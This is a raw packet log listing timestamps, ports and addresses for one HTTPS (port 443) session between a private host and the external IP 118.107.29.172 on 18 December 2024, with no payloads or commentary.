Dec 18, 2024 13:21:28.898267031 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.898288965 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.898317099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.898335934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.898364067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.903943062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.903990030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.904035091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.904077053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.904105902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.904120922 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.929080009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.929166079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.929172039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.929198980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.929223061 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.929240942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.934187889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.934221983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.934261084 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.934283972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.934303045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.934323072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.939949989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.939977884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.940020084 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.940045118 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.940061092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.940083027 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.945785046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.945811033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.945894003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:28.945916891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:28.945955992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.043473959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.043555021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.043565989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.043595076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.043613911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.043632030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.053533077 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.053556919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.053613901 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.053651094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.053674936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.053689957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.090157032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.090195894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.090275049 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.090308905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.090327024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.090351105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.096091986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.096118927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.096163988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.096188068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.096208096 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.096225977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.121115923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.121149063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.121190071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.121215105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.121236086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.121253967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.126323938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.126348019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.126406908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.126430035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.126446009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.126468897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.132688046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.132704020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.132764101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.132787943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.132846117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.139089108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.139107943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.139153004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.139185905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.139204025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.139228106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.235181093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.235203028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.235300064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.235300064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.235389948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.235454082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.246093988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.246109009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.246176004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.246215105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.246270895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.282171965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.282190084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.282248974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.282273054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.282290936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.282314062 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.288542032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.288561106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.288608074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.288631916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.288651943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.288672924 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.313306093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.313323021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.313386917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.313410997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.313435078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.313446999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.319199085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.319216013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.319271088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.319293976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.319334030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.324420929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.324436903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.324511051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.324533939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.324574947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.330868959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.330885887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.330952883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.330975056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.331015110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.428117990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.428144932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.428241968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.428268909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.428311110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.438920021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.438937902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.439110994 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.439135075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.439179897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.475126028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.475147009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.475208044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.475234032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.475250959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.475274086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.480251074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.480268955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.480346918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.480367899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.480422020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.505549908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.505569935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.505630970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.505660057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.505676985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.505700111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.511306047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.511331081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.511394978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.511420012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.511456013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.516496897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.516511917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.516577005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.516599894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.516640902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.523188114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.523231983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.523278952 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.523303032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.523334980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.523343086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.807250023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.807276011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.807338953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.807358027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.807379961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.807395935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.888959885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.889056921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.889065027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.889125109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.889125109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.889168024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.894624949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.894666910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.894711018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.894735098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.894763947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.894783020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.900365114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.900396109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.900435925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.900460005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.900479078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.900499105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.905848026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.905885935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.905920029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.905942917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.905968904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.905977011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.911649942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.911689997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.911717892 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.911741018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.911756992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.911783934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.916948080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.916981936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.917018890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.917043924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.917057991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.917093039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.922738075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.922765970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.922806025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.922830105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.922851086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.922864914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.928174973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.928194046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.928236008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.928260088 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.928275108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.928299904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.934051037 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.934109926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.934133053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.934156895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.934178114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.934196949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.940006971 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.940072060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.940073967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.940115929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.940128088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.940157890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.945250988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.945267916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.945352077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.945375919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.945415020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.951261997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.951283932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.951545954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.951545954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.951570988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.951613903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.956521988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.956538916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.956573009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.956597090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.956623077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.956629992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.962363958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.962419987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.962470055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.962493896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.962527037 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.962544918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.968451023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.968530893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.968539000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.968564034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:29.968581915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:29.968601942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.007854939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.007901907 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.007955074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.007982016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.008008003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.008037090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.016997099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.017041922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.017074108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.017096043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.017115116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.017129898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.051671028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.051712036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.051752090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.051779985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.051798105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.051817894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.056340933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.056375027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.056415081 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.056437016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.056454897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.056467056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.086385965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.086420059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.086457014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.086464882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.086502075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.088030100 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.088057041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.088084936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.088090897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.088110924 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.088129044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.091784954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.091818094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.091881990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.091898918 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.091936111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.096143961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.096187115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.096225977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.096245050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.096261978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.096286058 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.199513912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.199551105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.199623108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.199650049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.199677944 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.199688911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.207485914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.207523108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.207559109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.207565069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.207581043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.207600117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.242188931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.242234945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.242289066 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.242296934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.242316008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.242341042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.245301008 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.245333910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.245378971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.245383978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.245409966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.245424986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.274666071 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.274694920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.274772882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.274780035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.274816036 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:30.279292107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:30.279325962 CET	443	49723	118.107.29.172	192.168.2.10
